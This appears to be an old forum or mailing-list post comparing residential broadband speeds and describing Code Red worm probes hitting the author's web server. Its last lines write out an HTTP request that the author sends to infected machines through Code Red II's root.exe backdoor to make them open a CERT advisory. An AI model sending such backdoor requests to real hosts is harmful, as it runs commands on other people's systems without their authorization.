NOTE: kbps = kilo-bits per sec
K/sec = Kilo-Bytes/sec
Let's see. That would mean 12K/sec, or roughly
the equivalent of an ISDN A+B channel. You're
definintely not getting "broadband"... although when
I was looking into DSL, I never heard of residential
rates of 1.44 Mb/sec. Generally, ADSL is offered at
like 128kbs upload and 384kbs download, or sometimes
even 384kbps up and 512kbps down.
Using cable service (now Metrocast, formerly Speedway),
and Linux A4.1.66, I get it in 25 seconds.
With Netscape 3.04, I get a d/l rate of 109K/sec,
which means I must have gotten it in 16 seconds.
Hmmm....
Clean arachne cache, try again. 0:20.
Clean netscape cache. 69.4K/sec - 0:25
It appears that even within the space of 5 minutes,
transfer rates can easily vary by over 50%. One thing
that affects me that doesn't affect you is traffic
on the cable. I'm sharing the fixed bandwidth with
everyone else on the cable, while with DSL you have
your own alotted chunk of bandwidth that you don't
share with anyone.

"Up to" could mean you have to pay extra for a
commercial account. Somewhere in your literature,
or on their website, they should tell you what a
"normal" residential user should get.

Code Red is irritating in that it fills up web server
logs (well, more than just irritating for NT and 2000
web servers), but it doesn't really use up that much
bandwidth in the scheme of things. Over the course
of the 6th, I was hit 117 times between Code Red I
and Code Red II. They're both 387 bytes.
My server responds to Code Red I with a 400 Error
Message of 318 bytes, and to Code Red II with a 301
Error Message of 661 bytes.
Anyway, for the whole day, Code Red impacted my
local bandwidth by something like a total 117K...
not really an appreciable amount in the scheme of
normaly daily bandwidth usage.
When you think about the hundreds of thousands
of IIS servers out there that are infected and
repeatedly sending out the worm, the aggregate is
indeed awesome though.
Sidenote: I leave my logs scrolling up the screen
with 'tail -f /var/log/httpd/access_log'
Every now and again I telnet to the infected machine's
port 80 and send this "request" (w/o the line break of
course):
GET /scripts/root.exe?/c+explorer+http://www.cert.org/
advisories/CA-2001-23.html HTTP/1.0\r\n\r\n
Want to guess what that does? ;-)
